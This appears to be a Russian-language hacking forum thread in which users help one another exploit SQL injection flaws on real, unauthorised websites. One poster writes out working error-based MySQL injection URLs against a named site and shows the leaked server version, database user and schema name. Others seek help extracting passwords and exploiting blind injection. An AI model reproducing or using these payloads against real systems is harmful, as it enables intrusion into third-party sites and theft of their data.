Spazz, форумы обычно стоят на проверенных движках, где подобные вещи уже отфильтрованы.

Подскажите, может, сталкивался кто: при подстановке кавычки выпадает стандартная ошибка. Дальше пишу union+select... - опять выпадает ошибка, даже если пишу +1-- (пробовал /*, вообще без окончания - без разницы).
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 1--,20' at line 6

По сути да, но что-то не крутится... вывод ошибки очень специфический...

да
http://topgir.com.ua/?id=908 and 1=1
http://topgir.com.ua/?id=908 and 1=(select 1,2) --+ [ обработка ошибок просто мечта хакира : )))) ]

на вопрос ответ дан на 100% : ))))

Добавлено через 23 минуты
стало любопытно:

http://topgir.com.ua/?id=908 union select ExtractValue(1,concat(0x5C,(version()))),2,3,4,5,6--+
=>
5.1.32-log

http://topgir.com.ua/?id=908 union select ExtractValue(1,concat(0x5C,(user()))),2,3,4,5,6--+
=>
topgir@localhost

http://topgir.com.ua/?id=908 union select ExtractValue(1,concat(0x5C,(select schema_name FROM INFORMATION_SCHEMA.schemata limit 1,1)))--+
=>
topgir

topgir.com.ua/?id=908'

Это SQL - injecton ?

Zot - все есть, юзай SQLHelper.

Скрытый текст (вы должны быть авторизованы и иметь 1 сообщений):


У вас нет прав чтобы видеть скрытый текст, который находится здесь

есть сайт с уязвимостью, не могу найти пароли, подозреваю, что их нет в базе данных, посмотрите, может удастся что-нибудь откопать. Вот сайт

Скрытый текст (вы должны быть авторизованы и иметь 1 сообщений):


У вас нет прав чтобы видеть скрытый текст, который находится здесь

всем привет. помогите вот с этим разобратся.

Скрытый текст (вы должны быть авторизованы и иметь 10 сообщений):


У вас нет прав чтобы видеть скрытый текст, который находится здесь



и на этом остановился. так как ни в одной цифре вывода на страницу нету. можно тут как то раскрутить? :hmcool:

Цитата:

Сообщение от oficeran

всем привет. помогите вот с этим разобратся.
*** скрытый текст ***
и на этом остановился. так как ни в одной цифре вывода на страницу нету. можно тут как то раскрутить? :hmcool:

Похоже на обычный blind.

Вот наткнулся на интересную скуль:

Скрытый текст (вы должны быть авторизованы и иметь 5 сообщений):


У вас нет прав чтобы видеть скрытый текст, который находится здесь



На order+by выкидывает на главную страницу. При использовании union+select для определения столбцов - пока неверно, то получаю ошибку, а когда верно (столбцов всего 2 по ходу), то опять выкидывает на главную.
Дальше что-то не соображу, как крутить. Кто подскажет?

2 wolf295214: скрипт для вывода инфы через limit:

code:


(c) Dr.Z3r0 [antichat.ru]